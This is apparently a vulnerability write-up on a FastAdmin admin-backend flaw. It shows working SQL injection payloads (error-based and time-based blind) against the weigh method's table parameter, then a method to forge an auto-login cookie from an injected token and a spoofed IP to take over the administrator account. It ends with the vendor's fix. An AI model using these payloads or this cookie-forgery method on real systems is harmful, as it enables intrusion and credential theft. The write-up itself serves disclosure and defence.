Getting a Shell from a Low-Privilege FastAdmin Admin Account

Summary0x01 Preface. Xu recently pointed out a path from a low-privilege FastAdmin backend account to a shell. This article analyzes it. Affected versions: V1.0.0.20191212 beta and earlier. 0x02 Authorization. The main difficulty is that low-privilege users cannot access shell-related features…

SQLphpfastadmingetshellVulnerability Analysis

0x01 Preface

Xu recently pointed out a path from a low-privilege FastAdmin backend account to a shell:

1.png

After finishing other work, I completed this analysis.

Affected versions:V1.0.0.20191212_beta and earlier

0x02 FastAdmin Authorization Flow

The main difficulty in getting a shell from a low-privilege backend account is that useful shell features are inaccessible. Possible approaches include:

  • find a shell primitive accessible with low privileges
  • elevate a low-privilege account and then use a privileged shell feature
  • bypass authorization and locate a shell primitive

The exploit combines the first two approaches: use an accessible low-privilege method with an injection flaw to gain higher privileges, then reach a privileged shell feature.

Because privileges are central to the vulnerability, first understand FastAdmin's authorization flow: when a user has access, when login is required, and when authorization is checked.

In FastAdmin's/application/common/controller/Backend.phpfile describes authorization in detail. The key points are:

PHP
 protected $noNeedLogin = [];
 protected $noNeedRight = [];

...

   public function _initialize()
    {
        $modulename = $this->request->module();
        $controllername = Loader::parseName($this->request->controller());
        $actionname = strtolower($this->request->action());
        $path = str_replace('.', '/', $controllername) . '/' . $actionname;
        !defined('IS_ADDTABS') && define('IS_ADDTABS', input("addtabs") ? true : false);
        !defined('IS_DIALOG') && define('IS_DIALOG', input("dialog") ? true : false);
        !defined('IS_AJAX') && define('IS_AJAX', $this->request->isAjax());
        $this->auth = Auth::instance();
        // 设置当前请求的URI
        $this->auth->setRequestUri($path);
        // 检测是否需要验证登录
        if (!$this->auth->match($this->noNeedLogin)) {
            //检测是否登录
            if (!$this->auth->isLogin()) {
                Hook::listen('admin_nologin', $this);
                $url = Session::get('referer');
                $url = $url ? $url : $this->request->url();
                if ($url == '/') {
                    $this->redirect('index/login', [], 302, ['referer' => $url]);
                    exit;
                }
                $this->error(__('Please login first'), url('index/login', ['url' => $url]));
            }
            // 判断是否需要验证权限
            if (!$this->auth->match($this->noNeedRight)) {
                // 判断控制器和方法判断是否有对应权限
                if (!$this->auth->check($path)) {
                    Hook::listen('admin_nopermission', $this);
                    $this->error(__('You have no permission'), '');
                }
            }
        }

FastAdmin defines two sets: methods requiring neither login nor authorization,$noNeedLogin, while another set contains methods that require login but no authorization:$noNeedRight, then defines the initialization function_initialize(). It checks whether the current user is logged in, whether the method requires login, and whether the method requires authorization.

Controllers include this authorization file and declare which methods belong to$noNeedLogin, and methods belonging to$noNeedRight, for example in/application/admin/index.phpAt the beginning of the file:

2.png

definesloginmethods require neither login nor authorization.indexandlogoutcontains methods requiring login but no authorization. Then override_initialize(), and the method includesBackend.phpin_initialize()validation method.

This is FastAdmin's basic authorization flow. More complex paths can be studied in the source.

0x03 Analysis

Vulnerable point:/application/admin/controller/Ajax.php

The beginning of the file defines method permissions:

3.png

defineslangis accessible without login or authorization. Other methods—upload, weigh, wipecache, category, area, and icon—require login but no authorization. Among them,weighThe method's main logic is:

PHP
 public function weigh()
    {
        //排序的数组
        $ids = $this->request->post("ids");
        //拖动的记录ID
        $changeid = $this->request->post("changeid");
        //操作字段
        $field = $this->request->post("field");
        //操作的数据表
        $table = $this->request->post("table");
        //主键
        $pk = $this->request->post("pk");
        //排序的方式
        $orderway = strtolower($this->request->post("orderway", ""));
        $orderway = $orderway == 'asc' ? 'ASC' : 'DESC';
        $sour = $weighdata = [];
        $ids = explode(',', $ids);
        $prikey = $pk ? $pk : (Db::name($table)->getPk() ?: 'id');
        $pid = $this->request->post("pid");
        //限制更新的字段
        $field = in_array($field, ['weigh']) ? $field : 'weigh';

        // 如果设定了pid的值,此时只匹配满足条件的ID,其它忽略
        if ($pid !== '') {
            $hasids = [];
            $list = Db::name($table)->where($prikey, 'in', $ids)->where('pid', 'in', $pid)->field("{$prikey},pid")->select();
            foreach ($list as $k => $v) {
                $hasids[] = $v[$prikey];
            }
            $ids = array_values(array_intersect($ids, $hasids));
        }

        $list = Db::name($table)->field("$prikey,$field")->where($prikey, 'in', $ids)->order($field, $orderway)->select();
        foreach ($list as $k => $v) {
            $sour[] = $v[$prikey];
            $weighdata[$v[$prikey]] = $v[$field];
        }
        $position = array_search($changeid, $ids);
        $desc_id = $sour[$position];    //移动到目标的ID值,取出所处改变前位置的值
        $sour_id = $changeid;
        $weighids = array();
        $temp = array_values(array_diff_assoc($ids, $sour));
        foreach ($temp as $m => $n) {
            if ($n == $sour_id) {
                $offset = $desc_id;
            } else {
                if ($sour_id == $temp[0]) {
                    $offset = isset($temp[$m + 1]) ? $temp[$m + 1] : $sour_id;
                } else {
                    $offset = isset($temp[$m - 1]) ? $temp[$m - 1] : $sour_id;
                }
            }
            $weighids[$n] = $weighdata[$offset];
            Db::name($table)->where($prikey, $n)->update([$field => $weighdata[$offset]]);
        }
        $this->success();
    }

In this method,weighmethod obtains the value by POST:idschangeidfieldtablepkorderwayparameter values. None are filtered before entering the SQL statement.Db::name($table)->field("$prikey,$field")->where($prikey, 'in', $ids)->order($field, $orderway)->select();.

Print the SQL statement after this code:echo Db::name($table)->getLastSql();, as shown below:

4.png

Its SQL statement is:

5.png
SQL
SELECT `type`,`pid` FROM `fa_category` WHERE `type` IN ('2','4','1','3','5','6','8','9','7','10','11','12','13') AND `pid` IN (0)

The path is now clear. Modifytablevalue and execute the required SQL statement:

SQL
ids=2%2C4%2C1%2C3%2C5%2C6%2C8%2C9%2C7%2C10%2C11%2C12%2C13&changeid=1&pid=1&field=weigh&orderway=desc&pk=type&table=category union select 1,updatexml(1,concat(0x7e,(select user()),0x7e),1)%23
6.png

Successfully extracts user(). Note that local debugging used FastAdmin's application debug mode. If it is disabled:

7.png

then no error or useful information is returned:

8.png

Change the SQL from error-based injection to time-based blind injection:

SQL
ids=2%2C4%2C1%2C3%2C5%2C6%2C8%2C9%2C7%2C10%2C11%2C12%2C13&changeid=1&pid=1&field=weigh&orderway=desc&pk=type&table=category where id=1 and if(ascii(substr(database(),1,1))>95,sleep(2),1);

An error appears.

9.png

Debugging reveals>The character is escaped as an HTML entity:

10.png

No problem; change the statement to:

SQL
ids=2%2C4%2C1%2C3%2C5%2C6%2C8%2C9%2C7%2C10%2C11%2C12%2C13&changeid=1&pid=1&field=weigh&orderway=desc&pk=type&table=category+where+id=1+and+if(ascii(substr(database(),1,1)) in (0x66),sleep(2),1)%23
11.png
12.png

Injection succeeds.

Likewise, time-based blind injection can extract usernames and passwords. Standard payloads are omitted here.

A complex administrator password may not be recoverable from MD5, and FastAdmin salts its hashes:

13.png

Does that make the injection useless?

Not quite. In/application/admin/controller/Index.phpAround line 100 of the file:

PHP
// 根据客户端的cookie,判断是否可以自动登录
        if ($this->auth->autologin()) {
            $this->redirect($url);
        }

Follow the callautologin()

PHP
 public function autologin()
    {
        $keeplogin = Cookie::get('keeplogin');
        if (!$keeplogin) {
            return false;
        }
        list($id, $keeptime, $expiretime, $key) = explode('|', $keeplogin);
        if ($id && $keeptime && $expiretime && $key && $expiretime > time()) {
            $admin = Admin::get($id);
            if (!$admin || !$admin->token) {
                return false;
            }
            //token有变更
            if ($key != md5(md5($id) . md5($keeptime) . md5($expiretime) . $admin->token)) {
                return false;
            }
            $ip = request()->ip();
            //IP有变动
            if ($admin->loginip != $ip) {
                return false;
            }
            Session::set("admin", $admin->toArray());
            //刷新自动登录的时效
            $this->keeplogin($keeptime);
            return true;
        } else {
            return false;
        }
    }

fromkeeploginreads the information, splits it, and assigns it to$id, $keeptime, $expiretime, $keyvariables. If these exceed the current time and meet the following conditions:

  • ThisidWhether the account is an administrator
  • This id whether the database token is empty
  • Whether the token changed
  • Whether the IP changed

Satisfying these conditions enables automatic login. How can they be met?

The injection above lets us retrievefa_adminall information from the table,fa_adminThe table fields are:

14.png

The known id, token, and IP values can satisfy the required conditions.

id and token can be derived from injection results. To supply the IP, use X-Forwarded-Forto spoof the IP.

Only the final condition—whether the token changed—must be satisfied for automatic login.

The code above shows thatidkeeptimeexpiretimevariables are controllable.tokencan be obtained through injection, so construct a value satisfying$key != md5(md5($id) . md5($keeptime) . md5($expiretime) . $admin->tokenvalue'skey, then constructkeeploginvalue for automatic login.

Assign:

TEXT
id-->1-->c4ca4238a0b923820dcc509a6f75849b

keeptime-->86400-->641bed6f12f5f0033edd3827deec6759

expiretime-->1601902475-->02dbcd10c7f55b1c592350154b5e87de

token-->43e78cd9-b16b-4f27-9648-d60fd0e9b464

key-->c4ca4238a0b923820dcc509a6f75849b641bed6f12f5f0033edd3827deec675902dbcd10c7f55b1c592350154b5e87de43e78cd9-b16b-4f27-9648-d60fd0e9b464-->1fe1e4fc538e66089c4e24ed3b8e4c8c

keeplogin-->1|86400|1601902475|1fe1e4fc538e66089c4e24ed3b8e4c8c

The assigned expiretimevariable must satisfy the condition.$id && $keeptime && $expiretime && $key && $expiretime > time()is required. Test it with this code:

PHP
<?php
    $keeplogin = '1|86400|1601902475|1fe1e4fc538e66089c4e24ed3b8e4c8c';
    list($id, $keeptime, $expiretime, $key) = explode('|', $keeplogin);
    if ($id && $keeptime && $expiretime && $key && $expiretime > time()) {
     echo time();
    }else{
     echo 'No';
    }
?>

After constructing keeplogin. Now test it. First inspect the system-generated keeploginis:

TEXT
1%7C86400%7C1601886601%7Cab804a9bbb40d920704bc6e1b18a2733
15.png

Open an incognito window and enter the generatedkeeplogin

TEXT
1|86400|1601902475|1fe1e4fc538e66089c4e24ed3b8e4c8c
16.png

Refresh the page; automatic login succeeds.idadministrator account whose value is 1:

17.png

The remaining shell technique is the same as the public exploit. With sufficient privileges, direct SQL injection to shell may also be possible.

0x04 Fix

inV1.0.0.20191212_beta, the project changed$tablevariable was fixed:

18.png
PHP
$table = $this->request->post("table");
       if (!Validate::is($table, "alphaDash")) {
            $this->error();
        }

For$tablevalidates that the variable contains only letters, digits, underscores, and hyphens.

This prevents the injected statement from containingcomma (,)parenthesesand similar characters, severely restricting the injection.

0x05 Conclusion

This article focuses on escalating a low-privilege account. Notably, inV1.0.0.20200228_beta~V1.0.0.20200920_betarelease, thepkvariable was not fixed, but inV1.2.0.20201001_betarelease, it was fixed:

19.png

In addition, the SQL execution statementDb::name($table)->field("$prikey,$field")->where($prikey, 'in', $ids)->order($field, $orderway)->select();passestableprikey(pk)fieldidsorderwayvariables. Fortableandprikey(pk)is filtered, but the other variables are not. Interested readers can test further.